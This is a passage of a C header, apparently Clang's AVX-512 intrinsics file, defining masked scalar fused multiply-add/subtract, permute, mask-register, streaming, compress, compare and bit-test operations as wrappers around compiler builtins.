#define _mm_mask3_fmadd_round_ss(W, X, Y, U, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask3((__v4sf)(__m128)(W), \
                                          (__v4sf)(__m128)(X), \
                                          (__v4sf)(__m128)(Y), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_fmsub_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
  return __builtin_ia32_vfmaddss3_mask((__v4sf)__W,
                                       (__v4sf)__A,
                                       -(__v4sf)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fmsub_round_ss(A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(A), \
                                         (__v4sf)(__m128)(B), \
                                         -(__v4sf)(__m128)(C), (__mmask8)-1, \
                                         (int)(R)))

#define _mm_mask_fmsub_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(W), \
                                         (__v4sf)(__m128)(A), \
                                         -(__v4sf)(__m128)(B), (__mmask8)(U), \
                                         (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_fmsub_ss (__mmask8 __U, __m128 __A, __m128 __B, __m128 __C)
{
  return __builtin_ia32_vfmaddss3_maskz((__v4sf)__A,
                                        (__v4sf)__B,
                                        -(__v4sf)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fmsub_round_ss(U, A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_maskz((__v4sf)(__m128)(A), \
                                          (__v4sf)(__m128)(B), \
                                          -(__v4sf)(__m128)(C), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask3_fmsub_ss (__m128 __W, __m128 __X, __m128 __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmsubss3_mask3((__v4sf)__W,
                                        (__v4sf)__X,
                                        (__v4sf)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fmsub_round_ss(W, X, Y, U, R) \
  ((__m128)__builtin_ia32_vfmsubss3_mask3((__v4sf)(__m128)(W), \
                                          (__v4sf)(__m128)(X), \
                                          (__v4sf)(__m128)(Y), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_fnmadd_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
  return __builtin_ia32_vfmaddss3_mask((__v4sf)__W,
                                       -(__v4sf)__A,
                                       (__v4sf)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fnmadd_round_ss(A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(A), \
                                         -(__v4sf)(__m128)(B), \
                                         (__v4sf)(__m128)(C), (__mmask8)-1, \
                                         (int)(R)))

#define _mm_mask_fnmadd_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(W), \
                                         -(__v4sf)(__m128)(A), \
                                         (__v4sf)(__m128)(B), (__mmask8)(U), \
                                         (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_fnmadd_ss (__mmask8 __U, __m128 __A, __m128 __B, __m128 __C)
{
  return __builtin_ia32_vfmaddss3_maskz((__v4sf)__A,
                                        -(__v4sf)__B,
                                        (__v4sf)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fnmadd_round_ss(U, A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_maskz((__v4sf)(__m128)(A), \
                                          -(__v4sf)(__m128)(B), \
                                          (__v4sf)(__m128)(C), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask3_fnmadd_ss (__m128 __W, __m128 __X, __m128 __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmaddss3_mask3((__v4sf)__W,
                                        -(__v4sf)__X,
                                        (__v4sf)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fnmadd_round_ss(W, X, Y, U, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask3((__v4sf)(__m128)(W), \
                                          -(__v4sf)(__m128)(X), \
                                          (__v4sf)(__m128)(Y), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_fnmsub_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
  return __builtin_ia32_vfmaddss3_mask((__v4sf)__W,
                                       -(__v4sf)__A,
                                       -(__v4sf)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fnmsub_round_ss(A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(A), \
                                         -(__v4sf)(__m128)(B), \
                                         -(__v4sf)(__m128)(C), (__mmask8)-1, \
                                         (int)(R)))

#define _mm_mask_fnmsub_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(W), \
                                         -(__v4sf)(__m128)(A), \
                                         -(__v4sf)(__m128)(B), (__mmask8)(U), \
                                         (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_fnmsub_ss (__mmask8 __U, __m128 __A, __m128 __B, __m128 __C)
{
  return __builtin_ia32_vfmaddss3_maskz((__v4sf)__A,
                                        -(__v4sf)__B,
                                        -(__v4sf)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fnmsub_round_ss(U, A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_maskz((__v4sf)(__m128)(A), \
                                          -(__v4sf)(__m128)(B), \
                                          -(__v4sf)(__m128)(C), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask3_fnmsub_ss (__m128 __W, __m128 __X, __m128 __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmsubss3_mask3((__v4sf)__W,
                                        -(__v4sf)__X,
                                        (__v4sf)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fnmsub_round_ss(W, X, Y, U, R) \
  ((__m128)__builtin_ia32_vfmsubss3_mask3((__v4sf)(__m128)(W), \
                                          -(__v4sf)(__m128)(X), \
                                          (__v4sf)(__m128)(Y), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_fmadd_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
  return __builtin_ia32_vfmaddsd3_mask((__v2df)__W,
                                       (__v2df)__A,
                                       (__v2df)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fmadd_round_sd(A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(A), \
                                          (__v2df)(__m128d)(B), \
                                          (__v2df)(__m128d)(C), (__mmask8)-1, \
                                          (int)(R)))

#define _mm_mask_fmadd_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(W), \
                                          (__v2df)(__m128d)(A), \
                                          (__v2df)(__m128d)(B), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_fmadd_sd (__mmask8 __U, __m128d __A, __m128d __B, __m128d __C)
{
  return __builtin_ia32_vfmaddsd3_maskz((__v2df)__A,
                                        (__v2df)__B,
                                        (__v2df)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fmadd_round_sd(U, A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_maskz((__v2df)(__m128d)(A), \
                                           (__v2df)(__m128d)(B), \
                                           (__v2df)(__m128d)(C), (__mmask8)(U), \
                                           (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask3_fmadd_sd (__m128d __W, __m128d __X, __m128d __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmaddsd3_mask3((__v2df)__W,
                                        (__v2df)__X,
                                        (__v2df)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fmadd_round_sd(W, X, Y, U, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask3((__v2df)(__m128d)(W), \
                                           (__v2df)(__m128d)(X), \
                                           (__v2df)(__m128d)(Y), (__mmask8)(U), \
                                           (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_fmsub_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
  return __builtin_ia32_vfmaddsd3_mask((__v2df)__W,
                                       (__v2df)__A,
                                       -(__v2df)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fmsub_round_sd(A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(A), \
                                          (__v2df)(__m128d)(B), \
                                          -(__v2df)(__m128d)(C), (__mmask8)-1, \
                                          (int)(R)))

#define _mm_mask_fmsub_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(W), \
                                          (__v2df)(__m128d)(A), \
                                          -(__v2df)(__m128d)(B), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_fmsub_sd (__mmask8 __U, __m128d __A, __m128d __B, __m128d __C)
{
  return __builtin_ia32_vfmaddsd3_maskz((__v2df)__A,
                                        (__v2df)__B,
                                        -(__v2df)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fmsub_round_sd(U, A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_maskz((__v2df)(__m128d)(A), \
                                           (__v2df)(__m128d)(B), \
                                           -(__v2df)(__m128d)(C), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask3_fmsub_sd (__m128d __W, __m128d __X, __m128d __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmsubsd3_mask3((__v2df)__W,
                                        (__v2df)__X,
                                        (__v2df)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fmsub_round_sd(W, X, Y, U, R) \
  ((__m128d)__builtin_ia32_vfmsubsd3_mask3((__v2df)(__m128d)(W), \
                                           (__v2df)(__m128d)(X), \
                                           (__v2df)(__m128d)(Y), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_fnmadd_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
  return __builtin_ia32_vfmaddsd3_mask((__v2df)__W,
                                       -(__v2df)__A,
                                       (__v2df)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fnmadd_round_sd(A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(A), \
                                          -(__v2df)(__m128d)(B), \
                                          (__v2df)(__m128d)(C), (__mmask8)-1, \
                                          (int)(R)))

#define _mm_mask_fnmadd_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(W), \
                                          -(__v2df)(__m128d)(A), \
                                          (__v2df)(__m128d)(B), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_fnmadd_sd (__mmask8 __U, __m128d __A, __m128d __B, __m128d __C)
{
  return __builtin_ia32_vfmaddsd3_maskz((__v2df)__A,
                                        -(__v2df)__B,
                                        (__v2df)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fnmadd_round_sd(U, A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_maskz((__v2df)(__m128d)(A), \
                                           -(__v2df)(__m128d)(B), \
                                           (__v2df)(__m128d)(C), (__mmask8)(U), \
                                           (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask3_fnmadd_sd (__m128d __W, __m128d __X, __m128d __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmaddsd3_mask3((__v2df)__W,
                                        -(__v2df)__X,
                                        (__v2df)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fnmadd_round_sd(W, X, Y, U, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask3((__v2df)(__m128d)(W), \
                                           -(__v2df)(__m128d)(X), \
                                           (__v2df)(__m128d)(Y), (__mmask8)(U), \
                                           (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_fnmsub_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
  return __builtin_ia32_vfmaddsd3_mask((__v2df)__W,
                                       -(__v2df)__A,
                                       -(__v2df)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fnmsub_round_sd(A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(A), \
                                          -(__v2df)(__m128d)(B), \
                                          -(__v2df)(__m128d)(C), (__mmask8)-1, \
                                          (int)(R)))

#define _mm_mask_fnmsub_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_mask((__v2df)(__m128d)(W), \
                                          -(__v2df)(__m128d)(A), \
                                          -(__v2df)(__m128d)(B), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_fnmsub_sd (__mmask8 __U, __m128d __A, __m128d __B, __m128d __C)
{
  return __builtin_ia32_vfmaddsd3_maskz((__v2df)__A,
                                        -(__v2df)__B,
                                        -(__v2df)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fnmsub_round_sd(U, A, B, C, R) \
  ((__m128d)__builtin_ia32_vfmaddsd3_maskz((__v2df)(__m128d)(A), \
                                           -(__v2df)(__m128d)(B), \
                                           -(__v2df)(__m128d)(C), \
                                           (__mmask8)(U), \
                                           (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask3_fnmsub_sd (__m128d __W, __m128d __X, __m128d __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmsubsd3_mask3((__v2df)__W,
                                        -(__v2df)__X,
                                        (__v2df)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask3_fnmsub_round_sd(W, X, Y, U, R) \
  ((__m128d)__builtin_ia32_vfmsubsd3_mask3((__v2df)(__m128d)(W), \
                                           -(__v2df)(__m128d)(X), \
                                           (__v2df)(__m128d)(Y), \
                                           (__mmask8)(U), (int)(R)))

#define _mm512_permutex_pd(X, C) \
  ((__m512d)__builtin_ia32_permdf512((__v8df)(__m512d)(X), (int)(C)))

#define _mm512_mask_permutex_pd(W, U, X, C) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_permutex_pd((X), (C)), \
                                        (__v8df)(__m512d)(W)))

#define _mm512_maskz_permutex_pd(U, X, C) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_permutex_pd((X), (C)), \
                                        (__v8df)_mm512_setzero_pd()))

#define _mm512_permutex_epi64(X, C) \
  ((__m512i)__builtin_ia32_permdi512((__v8di)(__m512i)(X), (int)(C)))

#define _mm512_mask_permutex_epi64(W, U, X, C) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_permutex_epi64((X), (C)), \
                                       (__v8di)(__m512i)(W)))

#define _mm512_maskz_permutex_epi64(U, X, C) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_permutex_epi64((X), (C)), \
                                       (__v8di)_mm512_setzero_si512()))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_permutexvar_pd (__m512i __X, __m512d __Y)
{
  return (__m512d)__builtin_ia32_permvardf512((__v8df) __Y, (__v8di) __X);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_permutexvar_pd (__m512d __W, __mmask8 __U, __m512i __X, __m512d __Y)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                        (__v8df)_mm512_permutexvar_pd(__X, __Y),
                                        (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_permutexvar_pd (__mmask8 __U, __m512i __X, __m512d __Y)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                        (__v8df)_mm512_permutexvar_pd(__X, __Y),
                                        (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_permutexvar_epi64 (__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_permvardi512((__v8di)__Y, (__v8di)__X);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_permutexvar_epi64 (__mmask8 __M, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                     (__v8di)_mm512_permutexvar_epi64(__X, __Y),
                                     (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_permutexvar_epi64 (__m512i __W, __mmask8 __M, __m512i __X,
             __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                     (__v8di)_mm512_permutexvar_epi64(__X, __Y),
                                     (__v8di)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_permutexvar_ps (__m512i __X, __m512 __Y)
{
  return (__m512)__builtin_ia32_permvarsf512((__v16sf)__Y, (__v16si)__X);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_permutexvar_ps (__m512 __W, __mmask16 __U, __m512i __X, __m512 __Y)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                       (__v16sf)_mm512_permutexvar_ps(__X, __Y),
                                       (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_permutexvar_ps (__mmask16 __U, __m512i __X, __m512 __Y)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                       (__v16sf)_mm512_permutexvar_ps(__X, __Y),
                                       (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_permutexvar_epi32 (__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_permvarsi512((__v16si)__Y, (__v16si)__X);
}

#define _mm512_permutevar_epi32 _mm512_permutexvar_epi32

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_permutexvar_epi32 (__mmask16 __M, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                    (__v16si)_mm512_permutexvar_epi32(__X, __Y),
                                    (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_permutexvar_epi32 (__m512i __W, __mmask16 __M, __m512i __X,
             __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                    (__v16si)_mm512_permutexvar_epi32(__X, __Y),
                                    (__v16si)__W);
}

#define _mm512_mask_permutevar_epi32 _mm512_mask_permutexvar_epi32

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kand (__mmask16 __A, __mmask16 __B)
{
  return (__mmask16) __builtin_ia32_kandhi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kandn (__mmask16 __A, __mmask16 __B)
{
  return (__mmask16) __builtin_ia32_kandnhi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kor (__mmask16 __A, __mmask16 __B)
{
  return (__mmask16) __builtin_ia32_korhi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ int __DEFAULT_FN_ATTRS
_mm512_kortestc (__mmask16 __A, __mmask16 __B)
{
  return __builtin_ia32_kortestchi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ int __DEFAULT_FN_ATTRS
_mm512_kortestz (__mmask16 __A, __mmask16 __B)
{
  return __builtin_ia32_kortestzhi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ unsigned char __DEFAULT_FN_ATTRS
_kortestc_mask16_u8(__mmask16 __A, __mmask16 __B)
{
  return (unsigned char)__builtin_ia32_kortestchi(__A, __B);
}

static __inline__ unsigned char __DEFAULT_FN_ATTRS
_kortestz_mask16_u8(__mmask16 __A, __mmask16 __B)
{
  return (unsigned char)__builtin_ia32_kortestzhi(__A, __B);
}

static __inline__ unsigned char __DEFAULT_FN_ATTRS
_kortest_mask16_u8(__mmask16 __A, __mmask16 __B, unsigned char *__C) {
  *__C = (unsigned char)__builtin_ia32_kortestchi(__A, __B);
  return (unsigned char)__builtin_ia32_kortestzhi(__A, __B);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kunpackb (__mmask16 __A, __mmask16 __B)
{
  return (__mmask16) __builtin_ia32_kunpckhi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kxnor (__mmask16 __A, __mmask16 __B)
{
  return (__mmask16) __builtin_ia32_kxnorhi ((__mmask16) __A, (__mmask16) __B);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kxor (__mmask16 __A, __mmask16 __B)
{
  return (__mmask16) __builtin_ia32_kxorhi ((__mmask16) __A, (__mmask16) __B);
}

#define _kand_mask16 _mm512_kand
#define _kandn_mask16 _mm512_kandn
#define _knot_mask16 _mm512_knot
#define _kor_mask16 _mm512_kor
#define _kxnor_mask16 _mm512_kxnor
#define _kxor_mask16 _mm512_kxor

#define _kshiftli_mask16(A, I) \
  ((__mmask16)__builtin_ia32_kshiftlihi((__mmask16)(A), (unsigned int)(I)))

#define _kshiftri_mask16(A, I) \
  ((__mmask16)__builtin_ia32_kshiftrihi((__mmask16)(A), (unsigned int)(I)))

static __inline__ unsigned int __DEFAULT_FN_ATTRS
_cvtmask16_u32(__mmask16 __A) {
  return (unsigned int)__builtin_ia32_kmovw((__mmask16)__A);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_cvtu32_mask16(unsigned int __A) {
  return (__mmask16)__builtin_ia32_kmovw((__mmask16)__A);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_load_mask16(__mmask16 *__A) {
  return (__mmask16)__builtin_ia32_kmovw(*(__mmask16 *)__A);
}

static __inline__ void __DEFAULT_FN_ATTRS
_store_mask16(__mmask16 *__A, __mmask16 __B) {
  *(__mmask16 *)__A = __builtin_ia32_kmovw((__mmask16)__B);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_stream_si512 (void * __P, __m512i __A)
{
  typedef __v8di __v8di_aligned __attribute__((aligned(64)));
  __builtin_nontemporal_store((__v8di_aligned)__A, (__v8di_aligned*)__P);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_stream_load_si512 (void const *__P)
{
  typedef __v8di __v8di_aligned __attribute__((aligned(64)));
  return (__m512i) __builtin_nontemporal_load((const __v8di_aligned *)__P);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_stream_pd (void *__P, __m512d __A)
{
  typedef __v8df __v8df_aligned __attribute__((aligned(64)));
  __builtin_nontemporal_store((__v8df_aligned)__A, (__v8df_aligned*)__P);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_stream_ps (void *__P, __m512 __A)
{
  typedef __v16sf __v16sf_aligned __attribute__((aligned(64)));
  __builtin_nontemporal_store((__v16sf_aligned)__A, (__v16sf_aligned*)__P);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_compress_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_compressdf512_mask ((__v8df) __A,
                  (__v8df) __W,
                  (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_compress_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_compressdf512_mask ((__v8df) __A,
                  (__v8df)
                  _mm512_setzero_pd (),
                  (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_compress_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_compressdi512_mask ((__v8di) __A,
                  (__v8di) __W,
                  (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_compress_epi64 (__mmask8 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_compressdi512_mask ((__v8di) __A,
                  (__v8di)
                  _mm512_setzero_si512 (),
                  (__mmask8) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_compress_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_compresssf512_mask ((__v16sf) __A,
                 (__v16sf) __W,
                 (__mmask16) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_compress_ps (__mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_compresssf512_mask ((__v16sf) __A,
                 (__v16sf)
                 _mm512_setzero_ps (),
                 (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_compress_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_compresssi512_mask ((__v16si) __A,
                  (__v16si) __W,
                  (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_compress_epi32 (__mmask16 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_compresssi512_mask ((__v16si) __A,
                  (__v16si)
                  _mm512_setzero_si512 (),
                  (__mmask16) __U);
}

#define _mm_cmp_round_ss_mask(X, Y, P, R) \
  ((__mmask8)__builtin_ia32_cmpss_mask((__v4sf)(__m128)(X), \
                                       (__v4sf)(__m128)(Y), (int)(P), \
                                       (__mmask8)-1, (int)(R)))

#define _mm_mask_cmp_round_ss_mask(M, X, Y, P, R) \
  ((__mmask8)__builtin_ia32_cmpss_mask((__v4sf)(__m128)(X), \
                                       (__v4sf)(__m128)(Y), (int)(P), \
                                       (__mmask8)(M), (int)(R)))

#define _mm_cmp_ss_mask(X, Y, P) \
  ((__mmask8)__builtin_ia32_cmpss_mask((__v4sf)(__m128)(X), \
                                       (__v4sf)(__m128)(Y), (int)(P), \
                                       (__mmask8)-1, \
                                       _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_cmp_ss_mask(M, X, Y, P) \
  ((__mmask8)__builtin_ia32_cmpss_mask((__v4sf)(__m128)(X), \
                                       (__v4sf)(__m128)(Y), (int)(P), \
                                       (__mmask8)(M), \
                                       _MM_FROUND_CUR_DIRECTION))

#define _mm_cmp_round_sd_mask(X, Y, P, R) \
  ((__mmask8)__builtin_ia32_cmpsd_mask((__v2df)(__m128d)(X), \
                                       (__v2df)(__m128d)(Y), (int)(P), \
                                       (__mmask8)-1, (int)(R)))

#define _mm_mask_cmp_round_sd_mask(M, X, Y, P, R) \
  ((__mmask8)__builtin_ia32_cmpsd_mask((__v2df)(__m128d)(X), \
                                       (__v2df)(__m128d)(Y), (int)(P), \
                                       (__mmask8)(M), (int)(R)))

#define _mm_cmp_sd_mask(X, Y, P) \
  ((__mmask8)__builtin_ia32_cmpsd_mask((__v2df)(__m128d)(X), \
                                       (__v2df)(__m128d)(Y), (int)(P), \
                                       (__mmask8)-1, \
                                       _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_cmp_sd_mask(M, X, Y, P) \
  ((__mmask8)__builtin_ia32_cmpsd_mask((__v2df)(__m128d)(X), \
                                       (__v2df)(__m128d)(Y), (int)(P), \
                                       (__mmask8)(M), \
                                       _MM_FROUND_CUR_DIRECTION))

/* Bit Test */

static __inline __mmask16 __DEFAULT_FN_ATTRS512
_mm512_test_epi32_mask (__m512i __A, __m512i __B)
{
  return _mm512_cmpneq_epi32_mask (_mm512_and_epi32(__A, __B),
                                   _mm512_setzero_si512());
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS512
_mm512_mask_test_epi32_mask (__mmask16 __U, __m512i __A, __m512i __B)
{
  return _mm512_mask_cmpneq_epi32_mask (__U, _mm512_and_epi32 (__A, __B),
                                        _mm512_setzero_si512());
}

static __inline __mmask8 __DEFAULT_FN_ATTRS512
_mm512_test_epi64_mask (__m512i __A, __m512i __B)
{
  return _mm512_cmpneq_epi64_mask (_mm512_and_epi32 (__A, __B),
                                   _mm512_setzero_si512());
}

static __inline__ __mmask8 __DEFAULT_FN_ATTRS512
_mm512_mask_test_epi64_mask (__mmask8 __U, __m512i __A, __m512i __B)
{
  return _mm512_mask_cmpneq_epi64_mask (__U, _mm512_and_epi32 (__A, __B),
                                        _mm512_setzero_si512());
}

